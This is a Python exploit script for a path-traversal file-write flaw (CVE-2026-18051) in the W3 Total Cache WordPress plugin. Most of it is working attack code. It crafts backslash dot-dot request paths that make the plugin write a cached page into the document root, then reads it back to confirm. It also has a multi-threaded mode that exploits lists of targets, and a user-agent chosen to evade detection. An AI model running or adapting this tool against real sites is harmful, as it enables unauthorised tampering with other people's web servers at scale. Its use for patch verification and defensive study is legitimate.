WordPress W3 Total Cache 2.10.4 Arbitrary File Write

#!/usr/bin/env python3
    """
    CVE-2026-18051 - W3 Total Cache Disk Enhanced page-cache path traversal (arbitrary file write)
    Affected: W3 Total Cache (WordPress plugin, vendor BoldGrid) - all versions before 2.10.5
    Type: Path traversal (CWE-22) -> unauthenticated arbitrary-directory file write
    
    Root cause: with Page Cache "Disk: Enhanced" (the default engine), W3TC builds the on-disk
    cache filename directly from the request path. PgCache_ContentGrabber takes the raw
    $_SERVER['REQUEST_URI'] (Apache's unparsed_uri), urldecode()s it and collapses [/\\]+ to /
    *after* the web server has already validated and routed the request, then Cache_File_Generic
    concatenates the result under wp-content/cache/page_enhanced/<host>/ with no containment check.
    A path segment built from literal backslashes (dot-dot-backslash repeated) survives every
    upstream check - Apache and WordPress treat it as one meaningless segment - and is only turned
    into "../../../../../../" by W3TC's own preg_replace, walking the write out of the cache tree
    into any already-existing directory the web server user can write to.
    
    The stored file is a real WordPress search-results page (core will not 404 an empty search and
    forces a 200), so the traversal rides a normal cacheable 200 request. The basename is fixed by
    the plugin to "_index_slash.html"; the attacker chooses only the target directory. This PoC
    lands the write in the WordPress document root, overwriting (or creating) /_index_slash.html,
    then reads it straight back over HTTP - the served file now carries a per-run random marker
    that only our write could have placed there. That is the unauthenticated integrity compromise
    (CVSS I:H). This is not RCE: the basename cannot be a .php file and the sibling .htaccess
    content is header-sanitised, so no code execution is reachable (see EXPLOITATION.md).
    
    Delivery detail: the classic %2e%2e traversal is rejected by modern Apache (400 AH10244) once
    the ".." run climbs above the server root, so this exploit uses the backslash form, which no
    upstream component normalises. It is sent with the path preserved verbatim.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 80
      python exploit.py --host http://victim.example
      python exploit.py --host https://victim.example:8443
      python exploit.py --host victim.example --depth 6
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import secrets
    import sys
    from urllib.parse import urlparse
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        print("This exploit requires the 'requests' library (pip install requests).")
        sys.exit(2)
    
    CVE_ID    = "CVE-2026-18051"
    VULN_TYPE = "Path Traversal (arbitrary file write)"
    
    # A plausible browser client string; naming the tool here would be a free detection signature.
    UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
          "(KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36")
    
    # The plugin hardcodes this basename for a trailing-slash request; the attacker never chooses it.
    CACHE_BASENAME = "_index_slash.html"
    
    # Depth 6 (six "../" from page_enhanced/<host>/search/<term>/) lands in the document root:
    #   6 -> document root        readable at /_index_slash.html
    #   5 -> wp-content           readable at /wp-content/_index_slash.html
    #   4 -> wp-content/cache     readable at /wp-content/cache/_index_slash.html
    # Segments between the document root and the target, indexed by (6 - depth):
    _DOCROOT_DEPTH = 6
    _BELOW_DOCROOT = ["wp-content", "cache", "page_enhanced"]
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    def _read_path_for_depth(depth: int) -> str:
        """Web-root-relative URL where the write lands, derived from the traversal depth."""
        below = _DOCROOT_DEPTH - depth
        if below < 0 or below > len(_BELOW_DOCROOT):
            # Target sits above the document root (not web-served); default to the doc-root path.
            return "/" + CACHE_BASENAME
        dirs = _BELOW_DOCROOT[:below]
        prefix = "".join("/" + d for d in dirs)
        return prefix + "/" + CACHE_BASENAME
    
    
    def _base_url(host: str, port: int, use_tls: bool) -> str:
        scheme = "https" if use_tls else "http"
        default = 443 if use_tls else 80
        netloc = host if port == default else f"{host}:{port}"
        return f"{scheme}://{netloc}"
    
    
    def _do_write(sess, base: str, depth: int, timeout: float):
        """
        Run the two-step primitive. Returns (marker, traverse_response).
        Raises on transport error. Does not print.
    
        Step 1 (prime): GET /search/<marker>/  -> a normal empty search, 200, cached to
          page_enhanced/<host>/search/<marker>/_index_slash.html. This creates the
          search/<marker>/ directory so dirname() of the traversal target resolves on disk;
          without it the write silently no-ops.
        Step 2 (traverse): GET the same /search/<marker> path followed by repeated backslash
          dot-dot segments -> W3TC collapses the backslashes to forward slashes,
          walks up out of the cache tree and writes the search page for this request into the
          chosen directory as _index_slash.html.
        """
        marker = secrets.token_hex(8)  # lowercase hex: the whole cache key is strtolower()'d
        hdrs = {"User-Agent": UA, "Accept-Encoding": "identity"}
    
        # Step 1 - prime the search/<marker>/ directory.
        sess.get(f"{base}/search/{marker}/", headers=hdrs, timeout=timeout,
                 allow_redirects=False, verify=False)
    
        # Step 2 - traverse. Backslashes are sent verbatim; requests/urllib3 leaves them intact.
        ups = "\\..".join([""] * (depth + 1)) + "\\"   # depth copies of "\.." then a trailing "\"
        trav_url = f"{base}/search/{marker}{ups}"
        r = sess.get(trav_url, headers=hdrs, timeout=timeout,
                     allow_redirects=False, verify=False)
        return marker, r
    
    
    def _readback(sess, base: str, read_path: str, timeout: float):
        return sess.get(f"{base}{read_path}", headers={"User-Agent": UA},
                        timeout=timeout, allow_redirects=False, verify=False)
    
    
    def _try_exploit(host: str, port: int, use_tls: bool, depth: int = _DOCROOT_DEPTH,
                     read_path: str = None, timeout: float = 15.0):
        """
        Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits.
        Success = the per-run marker we placed via traversal is served back from the target path.
        """
        if read_path is None:
            read_path = _read_path_for_depth(depth)
        base = _base_url(host, port, use_tls)
        try:
            sess = requests.Session()
            marker, trav = _do_write(sess, base, depth, timeout)
            if trav.status_code != 200:
                return False, f"traversal request returned HTTP {trav.status_code} (need cacheable 200)"
            rb = _readback(sess, base, read_path, timeout)
            if rb.status_code == 200 and marker in rb.text:
                return True, f"marker {marker} written to {read_path} and served back (arbitrary file write)"
            if rb.status_code == 200 and "docroot-placeholder" not in rb.text and "Page Caching" in rb.text:
                # Fell for a cached page but not our marker - be conservative.
                return False, f"{read_path} served 200 but marker absent - likely patched"
            return False, f"marker not present at {read_path} (HTTP {rb.status_code}) - not vulnerable / patched"
        except requests.exceptions.RequestException as e:
            return False, f"unreachable ({e.__class__.__name__})"
    
    
    def exploit(host: str, port: int, use_tls: bool, depth: int, read_path: str,
                timeout: float = 15.0) -> None:
        header(host, port)
        if read_path is None:
            read_path = _read_path_for_depth(depth)
        base = _base_url(host, port, use_tls)
        sess = requests.Session()
    
        step(1, f"Baseline: reading {read_path} before the write")
        try:
            before = _readback(sess, base, read_path, timeout)
            before_snippet = before.text[:200] if before.status_code == 200 else f"(HTTP {before.status_code})"
            section(f"BEFORE ({read_path})", f"HTTP {before.status_code}\n{before_snippet}")
        except requests.exceptions.RequestException as e:
            done(False, f"target unreachable at baseline ({e.__class__.__name__})")
    
        step(2, "Priming the page cache (creates search/<marker>/ so the traversal resolves)")
        step(3, f"Traversing {depth} directories up out of the cache tree via backslash segments")
        try:
            marker, trav = _do_write(sess, base, depth, timeout)
        except requests.exceptions.RequestException as e:
            done(False, f"target unreachable during write ({e.__class__.__name__})")
    
        section("TRAVERSAL RESPONSE", f"HTTP {trav.status_code}, {len(trav.text)} bytes body")
        if trav.status_code != 200:
            done(False, f"traversal request returned HTTP {trav.status_code}; a cacheable 200 is "
                        f"required (check pretty permalinks and that page cache is enabled)")
    
        step(4, f"Reading {read_path} back to confirm the write landed")
        try:
            after = _readback(sess, base, read_path, timeout)
        except requests.exceptions.RequestException as e:
            done(False, f"target unreachable during read-back ({e.__class__.__name__})")
    
        proof = after.text[:600]
        section(f"AFTER ({read_path})", f"HTTP {after.status_code}\n{proof}")
    
        if after.status_code == 200 and marker in after.text:
            cache_hit = "Page Caching using Disk: Enhanced" in after.text
            section("WRITE CONFIRMED",
                    f"Per-run marker '{marker}' now served from {read_path}.\n"
                    f"This file previously held: "
                    f"{'the seeded placeholder' if 'docroot-placeholder' in before_snippet else 'other/none'}.\n"
                    f"W3TC Disk:Enhanced footer present in written file: {cache_hit}")
            done(True, f"Unauthenticated arbitrary file write - marker '{marker}' written to "
                       f"{read_path} in the document root and read back over HTTP")
    
        done(False, f"marker '{marker}' not found at {read_path} (HTTP {after.status_code}); "
                    f"target is not vulnerable or is patched (2.10.5+ confines the write to the cache dir)")
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10,
             depth: int = _DOCROOT_DEPTH, read_path: str = None) -> None:
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, depth=depth, read_path=read_path)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
        parser.add_argument("--depth", type=int, default=_DOCROOT_DEPTH,
                            help="Directory-traversal hops out of the cache tree "
                                 "(default: 6 = WordPress document root)")
        parser.add_argument("--read-path", default=None,
                            help="Web-root-relative URL to read the written file back from "
                                 "(default: derived from --depth, e.g. /_index_slash.html for the doc root)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 depth=args.depth, read_path=args.read_path)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.depth, args.read_path)